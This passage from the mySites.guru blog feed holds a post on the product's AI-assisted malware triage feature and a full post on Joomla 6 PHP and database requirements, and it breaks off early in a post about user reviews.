&lt;p&gt;We spent months testing: analyzed thousands of files, compared AI results against expert reviews, measured accuracy and cost-effectiveness. The question wasn’t whether AI was trendy - it was whether AI could reliably do what users struggle with: reading PHP code, identifying suspicious patterns, and separating legitimate code from malware. It can.&lt;/p&gt;
&lt;p&gt;False positives have cost users hours of manual review for over a decade. This addresses that.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;h3&gt;The audit foundation&lt;/h3&gt;
&lt;p&gt;For 10+ years, our security audit system has scanned filesystems using pattern-matching built from real-world hacks. It catches backdoors and malware most users would never find. By design, it flags suspicious files broadly - better to review a safe file than miss malware. Before you can spot the abnormal, it helps to know what’s normal - our guide to &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking on your site&lt;/a&gt; explains the dot-files most site owners don’t even know exist in their webspace.&lt;/p&gt;
&lt;h3&gt;AI analysis layer&lt;/h3&gt;
&lt;p&gt;When audits flag files, you see a colored AI icon:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;283&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_wVouE.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_Z1mjwvh.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_Z1joDQj.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_2rmedA.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.13.48@2x-1024x283.rz-83yo7_wVouE.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🟣 Purple = Not analyzed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟢 Green = Safe&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟡 Yellow = Suspicious&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔴 Red = Malicious&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click to send the file to AI (Claude Sonnet 4.5 or GPT-4). Within seconds, get expert analysis with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Risk level and confidence score&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exact line numbers of issues&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code snippets and explanations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Actionable recommendations&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;430&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.18.13@2x-1024x430.DKdF7tZo_1eNsOG.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.18.13@2x-1024x430.DKdF7tZo_28jCG.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.18.13@2x-1024x430.DKdF7tZo_1OQscM.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.18.13@2x-1024x430.DKdF7tZo_ZC01jP.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.18.13@2x-1024x430.DKdF7tZo_1eNsOG.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Crowdsourced intelligence&lt;/h3&gt;
&lt;p&gt;Definitive results (SAFE/MALWARE) are stored globally by MD5 hash. Same file on 100 sites = 1 analysis, not 100. Popular WordPress plugins are likely already analyzed by the community. Your discoveries protect everyone else.&lt;/p&gt;
&lt;p&gt;Over time, the crowdsourced results will sharpen our audit patterns - false-positive rates should drop as the dataset grows.&lt;/p&gt;
&lt;h2&gt;What are the key benefits?&lt;/h2&gt;
&lt;h3&gt;Expert analysis without the expert&lt;/h3&gt;
&lt;p&gt;What took hours or days now takes seconds. No more waiting for manual reviews from Phil or trying to understand complex PHP code, or worse, ignoring or guessing! Although Phil receives every analysis and can overrule the AI decision:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru now comes with built in AI analysis for suspect content matches from our pattern based audit results - bring your own API key and analyze your hacked files, filter false positives and benefit from crowdsourced cached results.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;417&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.34.06@2x-1024x417.FdY71Gkq_2uI6x3.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.34.06@2x-1024x417.FdY71Gkq_1rMuC.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.34.06@2x-1024x417.FdY71Gkq_20iIUh.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.34.06@2x-1024x417.FdY71Gkq_dnR8x.webp 828w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.34.06@2x-1024x417.FdY71Gkq_2uI6x3.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Cost savings at scale&lt;/h3&gt;
&lt;p&gt;You install a security plugin across 50 Joomla sites. First analysis costs a few cents. Other 49 sites? Instant cached results, zero cost. Managing 100 WordPress sites with WooCommerce? Most files already analyzed by the community-you might only need 2-3 new analyses.&lt;/p&gt;
&lt;h3&gt;Accurate and trustworthy&lt;/h3&gt;
&lt;p&gt;Every analysis includes confidence scores (0-100%). 95% confidence “malicious” is very different from 60% “suspicious.” The AI shows you exactly which lines are problematic and why. Admins can mark false positives, correcting the global cache for everyone.&lt;/p&gt;
&lt;h2&gt;When should you use it?&lt;/h2&gt;
&lt;p&gt;Suspect a breach? If a site is sending spam, run the Suspect Content audit and use AI to triage 47 flagged files in minutes instead of hours. Not yet connected? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt; to see what mySites.guru finds before you commit to a subscription. After a plugin update, AI can confirm the modified files are legitimate rather than tampered with. For quarterly reviews across 100 sites, common files are already cached, giving instant results so you can focus your time on new threats. Before any deployment, verify custom code is secure before going live. And on an inherited site where 200 flagged files feel overwhelming, AI prioritizes the 5 high-risk files, not the 195 false positives.&lt;/p&gt;
&lt;h2&gt;When should you NOT use it?&lt;/h2&gt;
&lt;p&gt;It’s not 100% accurate - sophisticated malware might slip through, and legitimate code might be flagged. Use findings as a guide and verify critical decisions. Phil receives a written report for each AI lookup and will manually override bad AI decisions to prevent mistakes and poisoning the crowdsourced database.&lt;/p&gt;
&lt;p&gt;It only works on text-based code (PHP, JS, etc.) - no images, PDFs, or compiled binaries.&lt;/p&gt;
&lt;p&gt;Files over 200KB are sampled (first/middle/last sections), so threats in unsampled sections could be missed.&lt;/p&gt;
&lt;p&gt;It’s one layer, not the entire solution. Regular updates, strong passwords, and backups are still essential.&lt;/p&gt;
&lt;h2&gt;How do you enable it?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Get API keys from &lt;a href=&quot;https://console.anthropic.com/&quot;&gt;Anthropic&lt;/a&gt; (for Claude) or &lt;a href=&quot;https://platform.openai.com/&quot;&gt;OpenAI&lt;/a&gt; (for GPT)&lt;/li&gt;
&lt;li&gt;Navigate to Account &amp;gt; AI Integration in mySites.guru, toggle “Enable AI Features”, add your API key(s), and choose your preferred provider&lt;/li&gt;
&lt;li&gt;Start analyzing - AI icons appear throughout File Manager, Suspect Content, and Modified Files tools&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather work from Claude instead of the dashboard, you can now &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;connect your whole account to Claude Desktop&lt;/a&gt; and run audits across every site in plain English.&lt;/p&gt;
&lt;p&gt;Since this post went up, File Manager has grown well beyond flagged-file actions: it’s now a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web-based file manager&lt;/a&gt; for your whole site root, jailed, logged and opt-in.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 826px) 826px, 100vw&quot; width=&quot;826&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.23.23@2x-826x1024.D_Xu9bQy_cpwMb.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.23.23@2x-826x1024.D_Xu9bQy_ZiAdLU.webp 640w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.23.23@2x-826x1024.D_Xu9bQy_24dv9W.webp 750w, https://mysites.guru/_astro/CleanShot-2026-01-15-at-08.23.23@2x-826x1024.D_Xu9bQy_cpwMb.webp 826w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What does it cost?&lt;/h2&gt;
&lt;p&gt;We do not charge you for this integration - like everything in mySites.guru, you pay your monthly subscription and I invest DAILY into the best platform available today - just like I have done since launching in 2012, &lt;strong&gt;without a single price increase since we launched!&lt;/strong&gt; Name me another service that does that?&lt;/p&gt;
&lt;p&gt;To use AI analysis, you provide your own API keys from Anthropic (Claude) or OpenAI (GPT). Your data goes directly to your chosen provider using your own account-mySites.guru never charges for AI usage and your API keys are encrypted for your security.&lt;/p&gt;
&lt;p&gt;Typical costs run $0.01 to $0.05 per file analysis, paid directly to Anthropic or OpenAI. The advantage is global caching: you rarely pay twice, since the same file content across all your sites needs only one analysis for infinite reuse. If someone else already analyzed that WordPress plugin, you get cached results at zero cost.&lt;/p&gt;
&lt;p&gt;For most users managing typical site portfolios, monthly AI costs are minimal-often less than one security audit consultation.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;AI-Powered Malware Analysis is available now for all mySites.guru users.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to your account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable AI Features in Account → AI Integration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start analyzing files&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Questions? Email &lt;a href=&quot;mailto:phil@phil-taylor.com&quot;&gt;phil@phil-taylor.com&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This feature is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>malware</category><category>ai</category><category>hack detection</category><enclosure url="https://mysites.guru/img/og/blog/ai-powered-malware-analysis-now-available-in-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Joomla 6 Technical Requirements (2026)</title><link>https://mysites.guru/blog/joomla-6-technical-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-technical-requirements/</guid><description>Joomla 6 requires PHP 8.3+, MySQL 8.0.13+, or MariaDB 10.4+. Check if your server is ready in 30 seconds with our free bulk compatibility scanner.</description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;Updated 2 March 2026 with new information including corrected MariaDB minimum version and latest PHP details.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla 6.0.0 was released on 14th October 2025, and it introduced a new strict &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;joomla technical requirements&lt;/a&gt; minimum of &lt;strong&gt;MySQL 8.0.13, MariaDB 10.4.0 and PHP 8.3.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What does the Joomla project say?&lt;/h2&gt;
&lt;p&gt;Not much &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;other than this page&lt;/a&gt; (which ironically still states this is for an unreleased upcoming version when infact Joomla 6 has now been released)&lt;/p&gt;
&lt;p&gt;This page is also confusing as it has a “Required” version of MariaDB and PostgreSQL that is less than the “Minimum”… strange.&lt;/p&gt;
&lt;p&gt;[edit:] Note that even the Joomla Project don’t seem to understand or believe these versions are correct, but hey ho, &lt;a href=&quot;https://github.com/joomla/Manual/pull/540#issuecomment-3412511119&quot;&gt;https://github.com/joomla/Manual/pull/540&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[edit:] It seems the “Minimum Versions” are guaranteed to work and are required for upgrades and the “Required Versions” “May work for new new installs”&lt;/p&gt;
&lt;p&gt;[edit:] After release, the Joomla project lowered the minimum MariaDB version from 10.6 to 10.4 in the official documentation.&lt;/p&gt;
&lt;p&gt;[edit:] &lt;strong&gt;Clear as mud&lt;/strong&gt;. However we will keep this page, and the tools in mySites.guru, up to date with the published, documented, versions from the official Joomla project which can be found here: &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;https://manual.joomla.org/docs/next/get-started/technical-requirements/&lt;/a&gt; (Which also currently states Joomla 6.0 is the upcoming version and not yet released - go figure…)&lt;/p&gt;
&lt;h2&gt;What does the Joomla 6 hosting check show?&lt;/h2&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt; - no additional charge was made and this new feature added for free into all account.&lt;/p&gt;
&lt;p&gt;Here’s what the dashboard looks like:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;660&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-13.45.04@2x-1024x660.Ca5fB8vb_243Xpv.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-13.45.04@2x-1024x660.Ca5fB8vb_Zx1c92.webp 640w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-13.45.04@2x-1024x660.Ca5fB8vb_2lVQqY.webp 750w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-13.45.04@2x-1024x660.Ca5fB8vb_FcV1M.webp 828w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-13.45.04@2x-1024x660.Ca5fB8vb_243Xpv.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Where to find the Joomla 6 Technical Requirements tool in mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can get to the tool quickest by &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;invoking the command palette&lt;/a&gt; with &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;cmd k&lt;/a&gt; (or ctrl k on windows/linux) and typing “Joomla 6” or “compat” to filter the commands and then enter. This will take you direct to the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements tool&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;701&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.46.38@2x-1024x701.BM2QVxFv_ZBQ6GX.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.46.38@2x-1024x701.BM2QVxFv_cMuKs.webp 640w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.46.38@2x-1024x701.BM2QVxFv_1h0qWk.webp 750w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.46.38@2x-1024x701.BM2QVxFv_2iqgol.webp 828w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.46.38@2x-1024x701.BM2QVxFv_ZBQ6GX.webp 1024w&quot; /&gt;*The mySites.guru command palette - filtered *&lt;/p&gt;
&lt;p&gt;An even quicker way is to just press c 6 on the keyboard (that is lowercase c and then the number 6) - that is the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;keyboard shortcut&lt;/a&gt; to the page in mySites.guru!!&lt;/p&gt;
&lt;p&gt;The direct url is: &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/joomla6/compatibility&lt;/a&gt; (Obviously you need to be logged in for that to work)&lt;/p&gt;
&lt;p&gt;As you can see the tool clearly lists all your Joomla 4, Joomla 5 and Joomla 6 sites, along with the currently installed Joomla version, the web server hostname, the update channel enabled, and the server hosting PHP version and Database type (MySQL or MariaDB) and version number.&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the MINIMUM this will be highlighted with Yellow The MINIMUM Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.3.0, MySQL 8.0.13 or MariaDB 10.4.0.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the RECOMMENDED this will be highlighted with Green The RECOMMENDED Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.4+, MySQL 8.4+ or MariaDB 12.0+&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server doesn’t meet the MINIMUM technical requirements this will be highlighted with Red&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 566px) 566px, 100vw&quot; width=&quot;566&quot; height=&quot;694&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.49.10@2x.BuXma8ox_ZiTX2z.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.49.10@2x.BuXma8ox_ZiTX2z.webp 566w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What is the update channel?&lt;/h2&gt;
&lt;p&gt;Joomla has &lt;a href=&quot;https://docs.joomla.org/Help310:Components_Joomla_Update_Configuration&quot;&gt;3 main update channels&lt;/a&gt;: &lt;strong&gt;Default&lt;/strong&gt;, &lt;strong&gt;Joomla Next&lt;/strong&gt;, and &lt;strong&gt;Testing&lt;/strong&gt;. It is highly recommended that you leave your production websites on the default setting, since this prevents you from accidentally applying major updates to Joomla core. Separately, Joomla 5.4+ and 6.0+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; that can apply patches without admin intervention, so if you manage client sites, you should disable that too.&lt;/p&gt;
&lt;p&gt;Joomla “Next” channel allows to switch between major releases. From 4 to 5 to 6 for example.&lt;/p&gt;
&lt;p&gt;Testing is as its name suggests. For use in testing releases prior to release by experienced developers.&lt;/p&gt;
&lt;h2&gt;What are the Joomla 6 minimum technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;absolute minimum versions that can be installed&lt;/a&gt; on a server to run Joomla 6 are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PHP 8.3.0 (also standard modules like json, simplexml, dom, gd, mysqlnd needed)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MySQL 8.0.13 or MariaDB 10.4.0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This article (and most of the Joomla Community!) ignore the Postgres compatibility as not many people use that database server - but the minimum for PostgreSQL is 12.0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What are the Joomla 6 recommended technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;RECOMMENDED versions to be installed to run Joomla 6&lt;/a&gt; are “the latest PHP version and the latest MySQL/MariaDB” version - haha - but no seriously, there is no reason to be not running the latest versions of PHP in 2026!&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;“official” recommended is PHP 8.4 and MySQL 8.4/MariaDB 12&lt;/a&gt; - but of course over time these will probably increase - for example at the time of writing PHP 8.5 is the latest stable PHP version available, &lt;a href=&quot;https://www.php.net/supported-versions&quot;&gt;https://www.php.net/supported-versions&lt;/a&gt; for full PHP details. If you are wondering why one of your sites shows a green PHP badge and another shows amber, &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;we explain how PHP branches and patch levels differ&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;585&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.51.39@2x-1024x585.CaokR3mw_Z10xpdU.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.51.39@2x-1024x585.CaokR3mw_LpyGA.webp 640w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.51.39@2x-1024x585.CaokR3mw_Z1U0Bhk.webp 750w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.51.39@2x-1024x585.CaokR3mw_3HD6I.webp 828w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.51.39@2x-1024x585.CaokR3mw_Z10xpdU.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What if my web host doesn’t meet the minimum standards?&lt;/h2&gt;
&lt;p&gt;If your webhost doesn’t have the minimum standards for Joomla 6 hosting then you should really consider moving - the MySQL 8 and PHP 8.4 requirements are standard at this point.&lt;/p&gt;
&lt;p&gt;MySQL 8.0.13 was released in October 2018 - so that’s over 7 years ago - if your web host has not upgraded their MySQL server in the last 5 years then maybe they are not the most secure and reliable partner for your web site… #justsaying&lt;/p&gt;
&lt;h2&gt;What is the supported version of MySQL by Oracle?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://endoflife.date/mysql&quot;&gt;https://endoflife.date/mysql&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;mysql 5.6 extended support ended in 2021 and mysql 5.7 extended support ended… 31st October 2023.&lt;/p&gt;
&lt;p&gt;Only MySQL 8.4 (LTS) and 9.4.* series are actually supported by Oracle now.&lt;/p&gt;
&lt;p&gt;MySQL 8.0 itself reached end of life on 30 April 2026. For how many Joomla sites that affects, and the MariaDB versions behind the rest, see our &lt;a href=&quot;https://mysites.guru/blog/mariadb-vs-mysql-joomla-wordpress-sites/&quot;&gt;MariaDB vs MySQL figures across the sites we monitor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 645px) 645px, 100vw&quot; width=&quot;645&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.52.59@2x-1-645x1024.DJX0GZBp_2qMmim.webp&quot; srcset=&quot;https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.52.59@2x-1-645x1024.DJX0GZBp_agXg5.webp 640w, https://mysites.guru/_astro/CleanShot-2025-10-15-at-16.52.59@2x-1-645x1024.DJX0GZBp_2qMmim.webp 645w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What if my site is stuck on Joomla 3 - how do I secure Joomla 3?&lt;/h2&gt;
&lt;p&gt;You can look at the new tool which &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fixes all Joomla 3 security issues&lt;/a&gt; with a single click, in the mySites.guru snapshot. If you cannot migrate yet, &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;the options for a Joomla 3 site&lt;/a&gt; are laid out in one place.&lt;/p&gt;
&lt;h2&gt;How do Joomla 5 and Joomla 6 requirements compare?&lt;/h2&gt;
&lt;p&gt;Upgrading from Joomla 5, which &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;goes security-only on 13 October 2026&lt;/a&gt;? Here’s a side-by-side comparison of what changed:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Requirement&lt;/th&gt;&lt;th&gt;Joomla 5 Minimum&lt;/th&gt;&lt;th&gt;Joomla 6 Minimum&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8.1.0&lt;/td&gt;&lt;td&gt;8.3.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MySQL&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8.0.13&lt;/td&gt;&lt;td&gt;8.0.13&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MariaDB&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10.4.0&lt;/td&gt;&lt;td&gt;10.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;PostgreSQL&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;12.0&lt;/td&gt;&lt;td&gt;12.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The database requirements stayed the same between Joomla 5 and 6. The main change is PHP: Joomla 6 requires PHP 8.3 or higher, up from PHP 8.1 in Joomla 5. If your server already runs PHP 8.3+, you’re ready to upgrade. These requirements haven’t changed in &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/&quot;&gt;Joomla 6.2&lt;/a&gt; either - the same minimums apply. One new reason to get to 6.1: the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;built-in POW captcha plugin&lt;/a&gt; that ships in core and replaces Google reCAPTCHA.&lt;/p&gt;
&lt;p&gt;The recommended versions for Joomla 6 are PHP 8.4, MySQL 8.4, and MariaDB 12 - all higher than Joomla 5’s recommendations of PHP 8.2, MySQL 8.1, and MariaDB 11.1.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru compatibility checker&lt;/a&gt; to scan all your sites at once and see exactly which ones are ready for the upgrade.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;Happy to answer questions if you have any, use the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Or you can ask the Joomla project direct.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Joomla 6 planning is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>php</category><category>hosting</category><enclosure url="https://mysites.guru/img/og/blog/joomla-6-technical-requirements.webp" length="0" type="image/webp"/></item><item><title>What Users Really Think of mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-reviews/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-reviews/</guid><description>What agencies and site owners actually say about managing their Joomla and WordPress sites with mySites.guru. Named reviewers only, no anonymous testimonials.</description><pubDate>Sun, 17 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every review on our &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; is from a real person with a real name. No anonymous testimonials, no paid placements. I wanted to pull out some of the recurring themes.&lt;/p&gt;
&lt;h2&gt;People stop thinking of it as a subscription&lt;/h2&gt;
&lt;p&gt;This is the thing I hear most. Alexander I. runs an agency and told us mySites.guru feels more like infrastructure than a subscription at this point. Stephen Dillon at Invisible Stuff has been paying for it for over 10 years and says it’s the best value tool they have.&lt;/p&gt;
&lt;p&gt;Ten years is a long time to keep paying for something. No one does that out of inertia.&lt;/p&gt;
&lt;h2&gt;The time savings are real&lt;/h2&gt;
